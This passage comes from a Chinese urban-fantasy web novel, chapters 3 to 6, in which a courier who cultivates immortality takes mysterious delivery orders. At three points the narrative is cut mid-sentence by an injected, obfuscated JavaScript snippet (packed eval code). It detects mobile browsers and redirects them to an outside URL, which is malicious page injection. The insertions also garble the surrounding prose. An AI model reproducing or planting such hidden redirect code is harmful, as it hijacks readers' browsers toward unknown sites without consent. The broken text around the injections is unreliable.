“沙沙”声在暗门口停留了十几秒,似乎在“观察”房间。苏明甚至能感觉到一股无形的、冰冷的意念扫过房间每个角落。 敛息术全力运转之下,他仿佛一块没有生命的石头。 终于,“沙沙”声再次响起,逐渐远去,退回了通道深处。暗门依旧敞开着,露出后面黑黝黝的、向下延伸的阶梯。 又等了足足五分钟,确认那东西真的离开了,苏明才小心翼翼地吐出一口浊气,后背已被冷汗湿透。 “仙尊,刚才那人是谁?那‘阴傀’又是怎么回事?‘裂隙’难道就是通往更深处的通道?”苏明连珠炮般发问。 “那人修为不高,约莫炼气三四层,修习功法似是旁门,带着阴寒之气。他目标明确寻找星髓,或许与‘观星阁’或‘寻星使’有关,也可能是另一股势力。至于阴傀和裂隙……”凌虚子神识小心翼翼地探向敞开的暗门,片刻后收回,“通道深处确有异常空间波动,似有小型‘空间裂隙’残留,但极不稳定,被某种力量强行维持着。那阴傀便是从裂隙附近而来。此地……恐怕是一处被遗忘的‘界域缝隙’监测或封印点!” 界域缝隙?苏明听得云里雾里,但本能觉得不是好事。 “刚才那阴傀没发现我们,是敛息术的功劳?” “是,但也不全是。那阴傀感知似乎有缺陷,主要依赖生命气息和灵力波动。你修为低微,敛息术下几乎与凡人无异。且此房间残留的阵法气息,虽已失效,仍有一定干扰作用。” 苏明看着那黑黝黝的通道,心中挣扎。下去看看?下面可能有更多秘密,也可能有更大的危险。 “仙尊,你能感知下面有多危险吗?” “危险。那阴傀虽低级,但数量不明,驱动能量古怪。更深处空间波动紊乱,恐有不可测之险。以你如今修为,不宜深入。” 苏明不是莽夫。他掂量了一下自己的斤两——炼气三层,刚会点粗浅法术,画了三张不知道效果如何的符——下去大概率是送菜。 “撤!”他当机立断。 快速检查了一遍房间,确认没留下自己的痕迹,又将那枚玉简小心收起。最后看了一眼中央的阵法,他转身沿着来路快速退回。 这次他没做任何停留,一口气冲出了地下三层,关上铁门,抹去痕迹,如同幽灵般离开了大厦。 回到出租屋,锁好门,苏明才感觉紧绷的神经放松下来。 今晚的收获:明确了星髓的潜在风险(观星阁、寻星使),得到了“云中子”的进一步信息和警告,获得了残留的笔记和样本,见识了修真界另一面的残酷(受伤修士、诡异阴傀),并确认了公司大厦地下隐藏着更深的秘密(裂隙)。 损失:无。 “仙尊,我们现在怎么办?星髓还安全吗?”苏明拿出星髓,它在聚灵阵中脉动着稳定的微光。 “短时间内应无妨。‘云中子’既提醒,想必‘寻星使’追踪不易。待本座恢复些许,便可在星髓上施加更精妙的隐匿禁制。当务之急,是提升你的实力。”凌虚子沉声道,“今夜所见,此界暗流汹涌,远非表面平静。炼气一层,自保尚且不足。” 苏明深以为然。他看了看桌上的材料:“那火煞符……” “明日便教你炼制与激发之法。另外,从今日起,你需每日在聚灵阵中修炼至少四个时辰。本座会传你《玄天吐纳真解》后续篇章,并开始锤炼你的神识与实战反应。” “还有,”凌虚子顿了顿,“那个‘同城速递’平台,或许是个不错的历练与资源获取途径。那些‘特殊订单’,既能磨炼你,也可能带来意想不到的收获。只是……务必更谨慎。” 苏明重重点头。他打开手机,看着那个熟悉的APP图标。 是啊,送快递,可能不止是赚钱和修炼那么简单了。 也许,下一次敲门声响起时,门后就不只是一个需要送货上门的客户了。 4. 火煞符与“宠物托管”订单 接下来的三天,苏明过上了规律又贫穷的生活。 白天靠《踏云步》提升的速度和反应,高效完成普通快递订单,收入勉强覆盖开销。晚上雷打不动缩在出租屋,在“小周天聚灵阵”的笼罩下疯狂修炼。 星髓的效果立竿见影。阵中灵气浓度远超外界,每运行一个周天,丹田那缕暖流就壮大一丝。三天下来,他稳稳站在炼气一层中期,灵力总量翻了一倍,五感更敏锐,精力充沛。 更大的收获是对“火煞符”的炼制。 “炼制符箓,首重心念合一,笔走龙蛇,灵力灌注须均匀绵长。”凌虚子的元婴悬浮半空,仔细指导。 苏明面前铺着裁剪好的黄表纸,旁边放着研磨好的暗红色粉末——那是“地火精粹石”研磨后,与朱砂、微量指尖血混合的“符墨”。一支普通狼毫笔,笔尖被他用灵气反复蕴养。 笔尖蘸饱符墨,落下。 灵力顺着手臂经脉灌注笔尖,苏明全神贯注,控制笔锋在黄表纸上勾勒。每一笔都需恰到好处的灵力输出,多一分符纸自燃,少一分符文失效。 起初两次都失败了。第一次灵力不稳,画到一半符纸无风自燃。第二次勉强画完,但符文黯淡无光,灵气涣散,是废符。 直到第三次,当他摒弃所有杂念,心神完全沉浸在笔尖流动与灵力微调中,笔下线条仿佛活了过来。暗红色符墨流淌、凝结,最终形成一个繁复而充满暴烈美感的奇异符号。 最后一笔落下,符箓上红光一闪而逝,随即内敛,整张符纸散发温润稳定的热力。 “成了!”凌虚子声音带着赞许,“虽是下品‘火煞符’,仅能激发一次,威力有限,但对你目前是不错的护身手段。激发时只需将灵力注入符箓,抛向目标即可。记住,符箓离手便爆,小心伤及自身。” 苏明如获至宝,小心将这张成功的火煞符和之前两张(在凌虚子更多灵力辅助下完成的)一起收好。这三张符成了他目前除半吊子法术外最强的攻击手段。 第三天傍晚,苏明刚结束一轮修炼,手机响了。是同城速递App的特殊提示音——他设置的“高价特殊单”有结果了。 订单类型:即时帮送(宠物临时托管+运送) 取件地址:城南“枫林晚”高端公寓区,A栋1801室。 送达地址:城北“栖霞山”自然风景区深处,指定坐标(附件已上传导航地图)。 服务内容:客户需要立即将一只“特殊宠物”送至指定地点,交由山中一位朋友临时照看三天。因宠物“性情活泼好动,且对环境变化敏感”,要求配送员“有耐心、体力好、不惧小动物”,并需全程保持宠物“情绪稳定”。预计交接时间在今晚九点前。 备注:宠物及其用品已打包在专用携行箱内,箱子较重(约25公斤)。目的地为未开发山区,无道路直达,最后两公里需徒步。务必轻拿轻放,避免剧烈颠簸! 宠物若出现应激反应,请立即致电客户(电话:159xxxx3210)。运费:1500元。额外奖励:若宠物送达时状态良好,确认收货后追加500元小费。 苏明摸着下巴。“特殊宠物”?25公斤箱子?送进未开发山区?这描述怎么听都不对劲。普通猫狗需要这么神秘?还强调“不惧小动物”? “仙尊,你怎么看?” 凌虚子感应订单信息:“地址是凡人高档场所,但要求送入荒山……矛盾。要么此‘宠物’非凡物,不宜留于闹市;要么山中接应者非寻常人。箱重二十五公斤……绝非普通猫狗。小心为上。” 苏明想了想,点击“接单”。一来报酬丰厚(顺利的话两千块),二来好奇,三来……他看了眼桌上三张火煞符,心里有点底气。 一小时后,苏明来到“枫林晚”公寓。高档小区,门禁森严。他报上门牌号和订单信息,经保安电话确认才被允许进入。 A栋1801室。苏明按门铃。 开门的是个穿真丝家居服、气质优雅的年轻女人,眉眼间有丝不易察觉的疲惫焦虑。 “迅风快递的苏师傅?”女人声音轻柔。 “苏明。来取件。” 女人点头,侧身让开:“请进,东西在客厅。” 公寓内部装修奢华,但客厅中央放着一个与周围格格不入的东西——一个长方体、银灰色、表面光滑的箱子,约行李箱大小,两侧有握把,正面有个小观察窗,玻璃是单向的。箱体侧面贴标签:“易碎品,保持平稳,避光,低温。” 苏明上前试重量,确实不轻,稳稳超二十公斤。他悄悄运转一丝灵力到手臂,轻松提起。 “就是这个。”女人递来平板电脑,“请在屏幕签字。另外,这是宠物的习惯和注意事项,您务必看一下。”她又递过一张打印纸。 苏明快速扫了一眼: 喜静,厌恶尖锐噪音。 对强光敏感,请勿用强光手电直射观察窗。 每隔三小时,从箱体侧面的小孔投入一粒专用食物(已备好)。 若箱体震动持续超十秒,或内部温度高于25℃,请立即联系客户。 最重要:无论听到箱内传出任何声音,请勿打开箱子! “明白了。”苏明签字,将纸收好,提着箱子离开。 “苏师傅,”女人忽然叫住他,眼神恳求,“请一定……安全送到。它对我……很重要。” “放心,我们会严格按照您的要求。”苏明给出职业性回答,心里更疑惑了。 离开公寓,将箱子小心固定在电瓶车后座(加软垫),苏明朝城北栖霞山驶去。路上,他尝试用凌虚子教的方法感知箱子内部。 “箱子有隔绝效果,材质特殊,本座神识难以穿透。”凌虚子道,“但隐约能感觉到一丝微弱生命波动,似有鳞甲,体温偏低……非寻常哺乳之属。且其气息……隐有一丝淡薄妖气,却又驳杂不纯,似被压抑或改造过。” 妖气?改造?苏明心中凛然。 栖霞山是城市近郊的自然风景区,只有外围开发,深处是茂密原始次生林,人迹罕至。 按照导航,苏明将车停在山脚偏僻停车场,背上箱子,徒步进山。 夜色渐浓,山林中只有月光透过枝叶洒下斑驳光影。虫鸣唧唧,偶尔传来夜鸟啼叫。苏明运转《踏云步》,脚下轻快,山林间穿梭不比走平地慢。敛息术让他仿佛融入环境。 大约走了一个多小时,来到一片半山腰的林间空地。空地中央有座小巧、看起来有些年头的石头亭子。 亭子里已经站了一个人。 那是个穿灰色道袍、头发花白、身形瘦削的老者,背对苏明来的方向,仰头看月亮。听到脚步声,缓缓转身。 月光下,老者面容清癯,眼神异常明亮,仿佛能洞彻人心。他手中拿着古朴竹杖,杖头挂暗红色葫芦。 “来了?”老者声音平和,听不出情绪,“东西放下吧。” 苏明将银灰色箱子轻轻放在亭子中央石桌上。 老者上前,没看箱子,反而仔细打量苏明几眼,眼中闪过一丝讶异:“咦?炼气一层?还是个‘噬灵体’?有点意思。难怪陈丫头会找你来送这东西。” 陈丫头?指那女雇主?苏明心中警惕,表面不动声色:“东西已送到,请确认宠物状态,我需要拍照反馈客户。” 老者笑了笑,没说话,伸出枯瘦手指,在箱体某个隐蔽位置轻轻一点。 “咔哒”轻响,箱体侧面弹开小口子。老者从怀里掏出小瓷瓶,倒出几粒碧绿色、散发清香的丹丸,从小口子丢进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏明压下心中疑惑,用手机对着空亭子拍几张照片(主要是石桌),给女雇主发消息:“货物已安全送达指定地点,交接人已确认接收。” 几乎秒回:“辛苦了。额外奖励已通过平台转付。请勿对任何人提及此次运送细节,谢谢。” 两千元到账。 苏明看着账户余额,又看看手里那袋散发药香的丹药。 这一单,似乎不仅仅是赚了钱。 他隐隐感觉到,自己正通过这个快递平台,以一种奇特方式,触摸这个隐藏在都市阴影下的、光怪陆离的修真世界。 回去路上,他服下一颗清心丹。一股清凉气息直冲脑海,原本因今晚遭遇而有些纷乱的思绪瞬间平复,连带着体内灵力运转都顺畅一丝。 好东西! 苏明精神一振,脚下《踏云步》更快。 回到出租屋,已是深夜。他没有立刻休息,盘坐在聚灵阵中,一边消化清心丹药力,一边思考今晚所见。 神秘女雇主,深不可测的灰袍老者,银灰色箱子里的“非寻常宠物”,还有老者最后的警告…… “仙尊,我们是不是已经引起一些人注意了?” “未必是坏事。”凌虚子缓缓道,“那老者对你似无敌意,反而有提点之意。他提及的‘麻烦’,或许指‘观星阁’或星髓之事。看来,此界修士之间,也非铁板一块。你既已踏入此门,迟早要与他们打交道。谨慎行事,提升实力,方是根本。” 苏明点头,目光变得坚定。 变强,送更多“特殊快递”,见识更广阔也更多姿多彩(也可能更危险)的世界。 这似乎,比原来那份996的游戏策划工作,有意思多了。 手机又震动,平台提示音响起。 苏明低头一看,又是一个新的高价特殊订单,地点在市中心一家24小时营业的宠物医院? 他嘴角勾起一丝弧度。 看来,今晚是别想早睡了。 5. 深夜宠物医院的“急诊”秘密与不速之客 手机震了,又是特殊订单。 苏明点开。 订单类型:紧急取送(医疗用品/活体样本) 取件地址:市中心,“仁爱”24小时宠物医院(解放路店)。 送达地址:西郊“生物科技产业园”,B7栋地下停车场,指定车辆(车牌:江A·X32R1,黑色厢式货车)。 服务内容:前往宠物医院前台,领取一个恒温冷藏箱(已备好)。箱内为“特殊病患急需的血浆与免疫球蛋白制剂”,需在1.5小时内送达。箱体有温度监测,全程需保持2-8℃。收货人会在停车场等候,现场开箱查验后签收。 备注:极其紧急!涉及危重病患生命! 请务必最快速度送达!如遇交通问题可逆行/闯红灯(备注:已报备交警部门特殊通行许可,订单号可查)。运费:3000元。超时或温度超标,订单作废且需赔偿损失。 三千块!备注里十万火急的味道扑面而来。宠物医院的血浆制剂……送给生物科技公司的车?苏明嗅到不寻常。 “仙尊?” “去。此单看似紧急,但流程清晰,地址明确,风险相对可控。报酬丰厚,且……”凌虚子顿了顿,“宠物医院、生物科技……或许能接触到一些此界对‘特殊生命’的研究。小心便是。” 苏明点击接单。时间显示早上六点零五分,要求最晚七点半送达。一个多小时,横穿大半个城市,在早高峰即将开始的时候,是挑战。 他检查装备:电瓶车满电,星髓在聚灵阵中心微微发烫(凌虚子说可临时抽取一丝星力应急),三张火煞符贴身放好。没多余准备时间,他抓起车钥匙冲出。 清晨街道车辆还不多,苏明将电瓶车速度提到极限,《踏云步》轻身效果让他更好控制重心,在车流中灵活穿梭。他尝试将一丝灵气灌注到电瓶车电机(凌虚子指点的小技巧),虽然效果微乎其微,但似乎真的快了一点点。 二十分钟后,赶到市中心的“仁爱”宠物医院。规模颇大的连锁医院,即使清晨,门口也停着几辆车。玻璃门内灯火通明。 苏明推门,一股消毒水混合动物体味的特殊气味。前台只有一个穿粉色护士服、挂黑眼圈的年轻女孩在打哈欠。 “您好,迅风快递,取件。”苏明亮出手机订单。 护士看了他一眼,眼神古怪,没多问,转身从后面冷藏柜取出一个银白色、印红色十字标志的恒温箱。箱子不大,类似小型钓鱼箱,提手处有电子温度显示屏,显示内部温度:5.3℃。 “就是这个。里面是特需血浆,千万保持低温。”护士递过箱子,又指旁边柜子上一充电宝大小的黑色方块,“这是备用电源,如果箱子自带电池报警,就插上这个,能维持制冷两小时。应该够你用。” “谢谢。”苏明接过箱子,入手冰凉。仔细检查箱体密封性和温度显示,转身就走。 “喂!”护士突然叫住他,犹豫一下,压低声音,“送的时候……小心点。昨晚急诊送来的那个‘大家伙’,状态很不稳定……这血浆,是救命的。” 大家伙?苏明心中一动,点头,快步离开。 将恒温箱固定电瓶车前踏板(用软垫隔开,避免发动机热量影响),苏明再次上路,目标西郊生物科技产业园。 早高峰前兆已现,路上车明显多起来。苏明打起十二分精神,在车流中见缝插针。他发现自己动态视力和反应速度在灵气滋养下提升显著,总能提前预判周围车辆动向,游刃有余。 为节省时间,他冒险走了一段公交车专用道。果然,没多久听到后面有警笛声。一辆交警摩托追上来,示意他靠边。 苏明心中一惊,但想起订单备注,连忙停下车,举起手机屏幕,显示订单号和“特殊通行许可”。 交警是个中年汉子,皱眉看了一眼手机,又拿出自己终端设备核对,脸色稍缓:“特殊医疗急救物资?下次记得在车尾贴个临时标志!赶紧送去吧,注意安全!” “谢谢警官!”苏明松口气,重新上路。订单的“报备”是真的。 七点十分,抵达西郊生物科技产业园。园区很大,绿化很好,一栋栋现代化研发楼整齐排列。找到B7栋,绕到后面地下停车场入口。 入口处有闸机,但似乎接到通知,扫描苏明的车牌(电瓶车牌照)后,闸机抬起。地下停车场光线昏暗,空气凉爽。 苏明缓缓驶入,很快在靠近电梯间的角落,看到那辆车牌“江A·X32R1”的黑色厢式货车。车旁站着两个人。 一个穿灰色西装、提公文包、像司机或助理的年轻男人。另一个让苏明瞳孔微缩——那是个穿白大褂、戴金丝眼镜、头发梳得一丝不苟的中年男子,气质冷峻,眼神锐利,正低头看手腕上的表。 苏明停好车,提着恒温箱走过去。“您好,迅风快递,您订的……” “东西。”白大褂男人直接打断,伸出手,语气不容置疑。 苏明递过恒温箱。男人接过,快速打开箱盖。更浓郁的寒气涌出。箱内整齐码放几个密封透明血袋和几支标注复杂英文的药剂瓶。男人仔细检查血袋标签和药剂状态,又用手指触摸血袋温度,然后拿起箱盖内侧温度记录仪查看历史数据。 “温度记录完整,波动在允许范围。”男人对西装青年点头。青年立刻从公文包取出平板电脑,示意苏明签字。 苏明签完字,手机立刻收到提示:运费3000元到账。 白大褂男人合上箱子,交给西装青年,青年小心将其搬进厢式货车内部特制冷藏柜。 男人这才重新看向苏明,金丝眼镜后目光带着审视:“路上顺利吗?” “还好,就是早高峰有点堵,在解放路口被交警拦了一下,看了订单备注就放行了。” “嗯。”男人不置可否,忽然问,“你练过武?或者,最近有没有觉得身体有什么特别变化?比如力气变大,反应变快,不容易累?” 苏明心里咯噔一下,面上露出适当茫然:“啊?我就是个送快递的,天天跑,身体还行吧。变化?没啥感觉啊。” 男人盯着他看了几秒,似乎没发现破绽,转身走向货车驾驶室,拉开车门前,丢下一句话:“如果以后有类似紧急订单,希望还能这么快。” 说完,他和西装青年上了车,黑色厢式货车无声滑出停车位,很快消失在停车场出口。 苏明站在原地,皱眉。男人最后那句话和那个问题……是试探?他看出什么了?还是仅仅因为自己送得快产生的疑问? “此人身上有极淡的灵气波动,且混杂消毒剂与某种生物制剂气味。”凌虚子的声音响起,“他应是此界研究‘生灵之道’的修士,或与这类修士合作紧密的凡人学者。其修为不高,约莫炼气二三层,但神识运用凝练,方才确实在探查你。你的‘敛息术’虽粗浅,但应对同阶或略高修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356213|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士,只要对方不是刻意全力探查,足以遮掩。” “他怀疑我了?” “未必。或许只是对你超出常人体能效率好奇。此界灵气稀薄,修士罕见,但并非没有。他可能将你误认为初入门的武修或觉醒了某种体质的凡人。”凌虚子分析,“不过,他提及‘类似订单’,或许……这是个潜在长线客户。” 苏明点头。看来“仁爱”宠物医院和西郊生物科技公司之间,存在针对“特殊病患”的供应链。自己今天无意中接触到了这个链条的一环。 离开产业园,苏明没立刻回家。他找了家早点摊,一边吃豆浆油条,一边复盘昨晚和今早的两单。 灰袍老者深不可测,女雇主神秘焦虑,银箱宠物非比寻常。 白大褂男人气质冷峻,生物公司背景莫测,血浆订单紧急重要。 两单看似不相干,但都指向同一方向:都市里存在需要特殊照料甚至紧急医疗的“非普通生物”。服务于这些需求的,是隐藏在正常社会运转之下、由修真者、研究者、特殊医疗机构等构成的网络。 自己这个能跑、能打(勉强)、能处理“特殊状况”的快递员,似乎正在被这个网络注意到。 “仙尊,我们是不是无意中打开了一个新市场?”苏明咬着油条,眼睛发亮。 “敏锐。”凌虚子难得直接夸奖,“‘物流’乃万事之基。修真界亦需物资流转、信息传递、人员往来。此界修士藏于红尘,诸多不便,一个可靠、快速、且能处理‘非常规’问题的运送渠道,价值不言而喻。你昨夜今晨两单,已初步展示这种能力。” “那接下来……” “巩固修为,拓宽渠道,谨慎接单。”凌虚子给出十二字方针,“炼气二层是一道坎,突破后灵力外放,方可修习更多实用小术。届时,你应对复杂情况的能力将大大增强。” 苏明深以为然。他三口两口吃完早餐,付钱走人。 回到出租屋,立刻盘坐聚灵阵中。星髓在阵眼位置缓缓旋转,散发星力与天地灵气混合,形成浓郁修炼环境。清心丹药效仍有残余,心神澄澈。 他运转《玄天吐纳真解》,引导体内暖流冲击那层若有若无的屏障。 时间一点点过去。丹田灵气越聚越多,如同蓄满水池,鼓胀感越来越强。苏明额角渗出细汗,心神稳如磐石。 终于,在某个临界点—— “啵!” 仿佛气泡破裂轻响在体内响起,那层屏障应声而碎!澎湃灵气瞬间冲入更宽广经脉路径,运行速度骤然加快! 炼气二层! 苏明睁眼,精光四射。他感觉全身充满力量,五感更敏锐,连窗外远处街道行人低语都隐约可闻。丹田暖流壮大一倍不止,更加凝实。 他尝试调动一丝灵气至指尖,心念微动。 “噗。” 一小簇淡蓝色、微弱得几乎看不见的火焰,在指尖跳跃一下,随即熄灭。 “灵气外放!”凌虚子声音带着欣慰,“虽然微弱,但确是不折不扣的外放。从今日起,你可真正开始修习法术了。” 苏明看着指尖,心中豪情顿生。 炼气二层,新世界大门,正在缓缓敞开。 手机,恰在此时,又响了。 苏明看着屏幕上弹出的新订单提示,嘴角勾起一抹自信笑容。 这一次,或许可以试试接点更有挑战性的单子了。 6. 第一个法术与“古董”订单 突破炼气二层的感觉很奇妙。 苏明站在出租屋中央,闭目感受体内暖流。如果说炼气一层的灵气像条细弱小溪,现在已拓宽成潺潺小河。力量充盈四肢,五感敏锐得仿佛开了挂——他能听到楼下邻居家电视的广告声,能分辨出三条街外包子铺的肉香。 灵气能外放了。 他再次尝试,心念微动,一丝淡蓝火焰在指尖跳跃一下,熄灭。距离“法术”还远,但这意味着能将灵力作用于外界了。 “根基尚可,比预想快三日。”凌虚子声音带着满意,“既已炼气二层,便可修习实用小术。你欲先学何种?” 苏明早就想好:“仙尊,有没有能快速清洁东西的法术?比如清洁衣服、房间,或者快递包裹上的异味?” 凌虚子沉默一瞬,光团似乎黯淡了下:“……清洁之术?你首选的,竟是此等微末小技?” “很实用啊!”苏明理直气壮,“万一沾上什么不好的东西,或者需要保持物品洁净,这法术多方便!而且打扫卫生也省事了。” “……”凌虚子被这过于务实的理由打败,“罢了。确有一门‘涤尘术’,乃最初级五行水行法术变种,可汇聚微量水汽,涤荡污秽,祛除异味。所需灵力不多,正适合你目前修为。” “就学这个!” “涤尘术”法诀不复杂,关键在于灵气精细操控,需将水行灵气以特定频率震荡,化为无形“清洁场”。苏明在凌虚子指导下,花了小半天,对着自己昨晚换下的臭袜子练习。 第一次,灵气失控,袜子湿了一小块。 第二次,震荡频率不对,袜子汗味更浓了。 第三次…… 当一缕淡淡、带着清新水汽的微光笼罩袜子,几秒后光芒散去,袜子干净如新,连顽固汗渍和异味都消失时,苏明差点欢呼。 “成了!哈哈!仙尊,以后洗衣服省水了!” “……出息。”凌虚子评价。 虽然只是最低级清洁法术,且以苏明目前灵力,全力施展大概只能清洁一两件衣服或一小片区域就会耗尽,但这无疑是个好开始。 实验完新法术,苏明才想起查看手机。果然,有条半小时前发布的特殊订单。 订单类型:专送(易碎贵重品) 取件地址:古玩城“藏珍阁”(店铺,需验货后取件)。 送达地址:北区“御景天成”别墅区,69号。 货物描述:清末民初粉彩山水纹天球瓶(高约45cm),已做专业防震包装。 备注:此物易碎,价值较高,请务必平稳运送。收货人要求下午3点前送达,需本人当面签收。运送途中请开启手机定位,并允许发货方查看实时位置(为保障货物安全)。运费:2000元。包装箱内附有小型定位与震动感应器,如遭遇剧烈撞击或异常开封,将自动报警并通知双方。 “古董花瓶?”苏明摸了摸下巴,“听起来正常多了。不过要求实时定位和感应报警……货主很小心。两千块,路程不远,接了。” 这次他没问凌虚子意见。一个正常古董运送订单,似乎没什么需要仙尊操心。 下午一点,苏明准时来到古玩城。“藏珍阁”装修古色古香,颇有年头。店主是个戴老花镜、头发花白的干瘦老头,姓钱。他仔细检查苏明的订单信息,又让他出示身份证拍照留存,这才慢悠悠从里间捧出个大特制纸箱。箱子密封很好,侧面贴封条,正面开了小窗,能看到里面防震海绵包裹的天球瓶一角,瓶身绘着精致山水楼阁图案。 “小伙子,路上千万小心,手推车我都给你备好了。”钱老板指着门口小平板推车,“这东西,磕了碰了,把我店卖了都赔不起。收货的秦先生是行家,验货仔细得很。” “您放心,我专业送易碎品。”苏明拍胸脯,小心将箱子搬到推车上,用绑带固定。入手很沉,估计二十多公斤。 他推车离开店铺,将箱子小心搬上电瓶车加装的后货架(特意加固,铺厚海绵),用弹力网罩固定。启动手机订单实时定位共享,苏明朝北区御景天成别墅区驶去。 一路顺利。下午两点四十,抵达御景天成。顶级别墅区,依山傍水,安保森严。核实订单信息和身份,由保安电话确认后,苏明被放行。 69号别墅是现代中式风格三层建筑,带独立院落。苏明按门铃,很快,一个穿居家服、气质儒雅的中年男人开门,是收货人秦先生。 秦先生话不多,示意苏明将箱子搬进一楼客厅。客厅很大,装修典雅,博古架摆不少瓷器,一看就是好古之人。 “麻烦开箱,我需要验货。”秦先生递来裁纸刀。 苏明小心划开封条,打开纸箱,一层层取出防震海绵,最后捧出粉彩天球瓶。 秦先生戴白手套,拿起放大镜,凑到瓶身前仔细查看。从瓶口到瓶底,从釉面到彩绘,看得极其认真。苏明安静等待。 看了足足十分钟,秦先生直身,眉头微皱,对苏明道:“劳驾,帮我把那边高光手电拿过来。”他指南面博古架旁抽屉。 苏明转身去拿手电。就在他拉开抽屉瞬间,眼角余光瞥见,秦先生用极快速度,用指甲在瓶身一处不显眼山水纹饰上轻轻划了一下。 动作很隐蔽,若非苏明五感远超常人,根本发现不了。 他心中一动,面不改色,取手电递给秦先生。 秦先生用手电光仔细照刚才划过的地方,又凑近看了看,眉头皱更紧。他放下手电和放大镜,对苏明摇头:“小伙子,东西不对。” “不对?”苏明一愣。 “釉面火气太重,彩料发色过于鲜艳,底足露胎处‘糊米底’做得太刻意,最重要的是……”秦先生指刚才划过的地方,“这里,我用指甲试了试,彩料有极轻微‘翘皮’感。真正的老粉彩,历经百年,彩料与釉面结合紧密,绝不会如此。这是高仿,而且仿得不错,足以乱真,但瞒不过行家眼睛。” 苏明心里咯噔。仿品?那这单…… “东西我不能收。”秦先生语气冷下来,“你联系发货方吧。按平台规则,疑似伪劣或与描述不符的商品,我有权拒收,运费由发货方承担。” 苏明赶紧给“藏珍阁”钱老板打电话。钱老板一听东西被鉴定为仿品,立刻炸了:“什么?仿品?不可能!我亲自收的,看了好几遍!秦先生是不是看错了?小伙子,你把电话给他,我跟他说!” 苏明递电话。秦先生接过,语气平静但不容置疑说了几句判断依据。电话那头钱老板声音越来越大,很激动,坚持卖的是真品。 两人争执几句,最后秦先生直接道:“钱老板,既然如此,那就按规矩办。东西我拒收,你让快递员原路退回。至于真假,你可以找第三方机构再鉴定,或者我们行业协会仲裁。”说完,把电话递还。 钱老板喘粗气:“行!姓秦的有眼无珠!小伙子,麻烦你把东西原封不动送回来!运费我照付!我倒要看看,他能找出什么毛病!” 挂了电话,苏明头大。送出去的东西被拒收退回,在快递行业不算稀奇,但通常意味着麻烦和纠纷。而且这花瓶……他下意识又看了一眼。 秦先生指出问题的地方,那处山水纹饰……在苏明远超常人的目力下,似乎真的有一点点不自然的细微凸起?瓶身散发的气息,也给他一种莫名的“新”感? “仙尊,你能感觉到这瓶子有什么不对吗?”苏明在脑海中问。 凌虚子神识扫过花瓶,片刻后道:“此物……毫无‘古意’。凡经岁月之物,或多或少会沾染时光气息、人气、或地气。此瓶虽有伪装,却难掩其‘新造’之本质。且瓶身隐有极淡的阴刻符纹痕迹,似是为了模仿‘包浆’或‘老旧感’特意做上去,拙劣不堪。” 果然是仿品!而且做旧手法可能涉及了非常规手段(阴刻符纹)?苏明心中了然。这单生意,水有点深。一方咬定是真,一方坚称是假。 他只好重新将花瓶小心包装好,搬回车上。秦先生客气,虽然拒收了货,但还是给了苏明一百块辛苦费,让他路上小心。 回程路上,苏明心情郁闷。白跑一趟不说,还卷入了买卖纠纷。虽然运费照拿,但感觉不好。 再次回到“藏珍阁”,店里气氛截然不同。钱老板脸色铁青,几个伙计模样的人站在一旁,面色不善。店里没其他顾客。 “东西拿回来!”钱老板一把从苏明手里抢过箱子,粗暴打开检查,看到花瓶完好无损,脸色稍缓,但依旧难看。他盯着苏明:“秦守仁那老东西,真说我这瓶子假的?” “秦先生是这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356214|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,还指出了几处疑点。”苏明如实转述。 “放屁!”钱老板猛拍桌子,“他懂个屁!这瓶子是我从乡下老宅子里收的,传承有序!我看他就是想压价!故意找茬!”他眼珠一转,盯着苏明,“小伙子,他验货时,有没有动什么手脚?” 苏明犹豫一下,还是说:“秦先生用指甲在瓶身划了一下,说彩料有翘皮感。” “划了一下?!”钱老板声音陡然拔高,猛地凑近花瓶,在说的位置仔细查看,还用放大镜照了又照。看着看着,他脸色越来越白,额头渗出冷汗。 “不……不可能……收的时候明明好好的……”他喃喃自语,突然像想起什么,猛地转身冲进里间,翻箱倒柜。 苏明和几个伙计面面相觑。不一会儿,钱老板拿份泛黄纸质文件冲出来,手指颤抖地指着其中一处:“你看!你看这鉴定证书!还有当时拍的细节照片!这地方,当时根本没问问题!” 苏明凑过去看,那是份几年前出具的民间收藏鉴定证书,附几张高清照片。对比现在花瓶上那个细微划痕位置,照片上确实光滑平整。 “难道……是在我店里被掉了包?”钱老板眼神惊疑不定扫过几个伙计,又猛地看向苏明,“还是说……在路上……” “钱老板,箱子封条是您亲自贴的,一路有定位和震动感应,我送到秦先生那里也是当面开箱验货,中途没任何问题。”苏明平静说,“而且,秦先生似乎没有掉包的必要和时机。” 钱老板颓然坐椅子上,眼神发直。半晌,他挥手:“行了,没你事了。运费我会照付。你走吧。” 苏明点头,转身离开。走出店门时,隐约听到钱老板在里间压低声音打电话,语气激动:“对!肯定有问题!要么是秦守仁那老狐狸搞鬼,要么就是当初收的时候就被做了局!妈的,我得找‘七爷’说道说道……” 苏明脚步顿了顿,没回头。古玩行水太深,真假纠纷、做局下套屡见不鲜,这不是他一个送快递的能掺和的。 